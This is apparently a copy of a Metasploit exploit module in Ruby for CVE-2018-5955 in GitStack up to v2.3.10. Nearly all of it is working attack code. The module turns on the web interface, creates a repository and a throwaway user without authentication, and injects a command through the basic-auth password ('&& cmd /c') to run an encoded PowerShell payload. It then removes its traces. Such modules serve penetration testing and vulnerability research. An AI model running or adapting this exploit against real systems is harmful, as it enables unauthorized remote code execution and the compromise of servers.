302 lines
7.6 KiB
Ruby
302 lines
7.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Powershell
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'GitStack Unsanitized Argument RCE',
|
|
'Description' => %q{
|
|
This module exploits a remote code execution vulnerability that
|
|
exists in GitStack through v2.3.10, caused by an unsanitized argument
|
|
being passed to an exec function call. This module has been tested
|
|
on GitStack v2.3.10.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Kacper Szurek', # Vulnerability discovery and PoC
|
|
'Jacob Robles' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2018-5955'],
|
|
['EDB', '43777'],
|
|
['EDB', '44044'],
|
|
['URL', 'https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'thread'
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' => [['Automatic', {}]],
|
|
'Privileged' => true,
|
|
'DisclosureDate' => 'Jan 15 2018',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def check_web
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => '/rest/settings/general/webinterface/',
|
|
'method' => 'GET'
|
|
})
|
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
end
|
|
|
|
if res && res.code == 200
|
|
if res.body =~ /true/
|
|
vprint_good('Web interface is enabled')
|
|
return true
|
|
else
|
|
vprint_error('Web interface is disabled')
|
|
return false
|
|
end
|
|
else
|
|
print_error('Unable to determine status of web interface')
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def check_repos
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => '/rest/repository/',
|
|
'method' => 'GET',
|
|
})
|
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
end
|
|
if res && res.code == 200
|
|
begin
|
|
mylist = res.get_json_document
|
|
rescue JSON::ParserError => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
return nil
|
|
end
|
|
|
|
if mylist.length == 0
|
|
vprint_error('No repositories found')
|
|
return false
|
|
else
|
|
vprint_good('Repositories found')
|
|
return mylist
|
|
end
|
|
else
|
|
print_error('Unable to determine available repositories')
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def update_web(web)
|
|
data = {'enabled' => web}
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => '/rest/settings/general/webinterface/',
|
|
'method' => 'PUT',
|
|
'data' => data.to_json
|
|
})
|
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
end
|
|
if res && res.code == 200
|
|
vprint_good("#{res.body}")
|
|
end
|
|
end
|
|
|
|
def create_repo
|
|
repo = Rex::Text.rand_text_alpha(5)
|
|
c_token = Rex::Text.rand_text_alpha(5)
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => '/rest/repository/',
|
|
'method' => 'POST',
|
|
'cookie' => "csrftoken=#{c_token}",
|
|
'vars_post' => {
|
|
'name' => repo,
|
|
'csrfmiddlewaretoken' => c_token
|
|
}
|
|
})
|
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
end
|
|
if res && res.code == 200
|
|
vprint_good("#{res.body}")
|
|
return repo
|
|
else
|
|
print_status('Unable to create repository')
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def delete_repo(repo)
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => "/rest/repository/#{repo}/",
|
|
'method' => 'DELETE'
|
|
})
|
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
end
|
|
|
|
if res && res.code == 200
|
|
vprint_good("#{res.body}")
|
|
else
|
|
print_status('Failed to delete repository')
|
|
end
|
|
end
|
|
|
|
def create_user
|
|
user = Rex::Text.rand_text_alpha(5)
|
|
pass = user
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => '/rest/user/',
|
|
'method' => 'POST',
|
|
'vars_post' => {
|
|
'username' => user,
|
|
'password' => pass
|
|
}
|
|
})
|
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
end
|
|
if res && res.code == 200
|
|
vprint_good("Created user: #{user}")
|
|
return user
|
|
else
|
|
print_error("Failed to create user")
|
|
return nil
|
|
end
|
|
end
|
|
|
|
def delete_user(user)
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => "/rest/user/#{user}/",
|
|
'method' => 'DELETE'
|
|
})
|
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
end
|
|
if res && res.code == 200
|
|
vprint_good("#{res.body}")
|
|
else
|
|
print_status('Delete user unsuccessful')
|
|
end
|
|
end
|
|
|
|
def mod_user(repo, user, method)
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => "/rest/repository/#{repo}/user/#{user}/",
|
|
'method' => method
|
|
})
|
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
end
|
|
if res && res.code == 200
|
|
vprint_good("#{res.body}")
|
|
else
|
|
print_status('Unable to add/remove user from repo')
|
|
end
|
|
end
|
|
|
|
def repo_users(repo)
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => "/rest/repository/#{repo}/user/",
|
|
'method' => 'GET'
|
|
})
|
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
end
|
|
if res && res.code == 200
|
|
begin
|
|
users = res.get_json_document
|
|
users -= ['everyone']
|
|
rescue JSON::ParserError => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
users = nil
|
|
end
|
|
else
|
|
return nil
|
|
end
|
|
return users
|
|
end
|
|
|
|
def run_exploit(repo, user, cmd)
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => '/web/index.php',
|
|
'method' => 'GET',
|
|
'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}"),
|
|
'vars_get' => {
|
|
'p' => "#{repo}.git",
|
|
'a' => 'summary'
|
|
}
|
|
})
|
|
rescue Rex::ConnectionError, Errno::ECONNRESET => e
|
|
print_error("Failed: #{e.class} - #{e.message}")
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
command = cmd_psh_payload(
|
|
payload.encoded,
|
|
payload_instance.arch.first,
|
|
{ :remove_comspec => true, :encode_final_payload => true }
|
|
)
|
|
fail_with(Failure::PayloadFailed, "Payload exceeds space left in exec call") if command.length > 6110
|
|
|
|
web = check_web
|
|
repos = check_repos
|
|
|
|
if web.nil? || repos.nil?
|
|
return
|
|
end
|
|
|
|
unless web
|
|
update_web(!web)
|
|
# Wait for interface
|
|
sleep 8
|
|
end
|
|
|
|
if repos
|
|
pwn_repo = repos[0]['name']
|
|
else
|
|
pwn_repo = create_repo
|
|
end
|
|
|
|
r_users = repo_users(pwn_repo)
|
|
if r_users.present?
|
|
pwn_user = r_users[0]
|
|
run_exploit(pwn_repo, pwn_user, command)
|
|
else
|
|
pwn_user = create_user
|
|
if pwn_user
|
|
mod_user(pwn_repo, pwn_user, 'POST')
|
|
run_exploit(pwn_repo, pwn_user, command)
|
|
mod_user(pwn_repo, pwn_user, 'DELETE')
|
|
delete_user(pwn_user)
|
|
end
|
|
end
|
|
|
|
unless web
|
|
update_web(web)
|
|
end
|
|
|
|
unless repos
|
|
delete_repo(pwn_repo)
|
|
end
|
|
end
|
|
end
|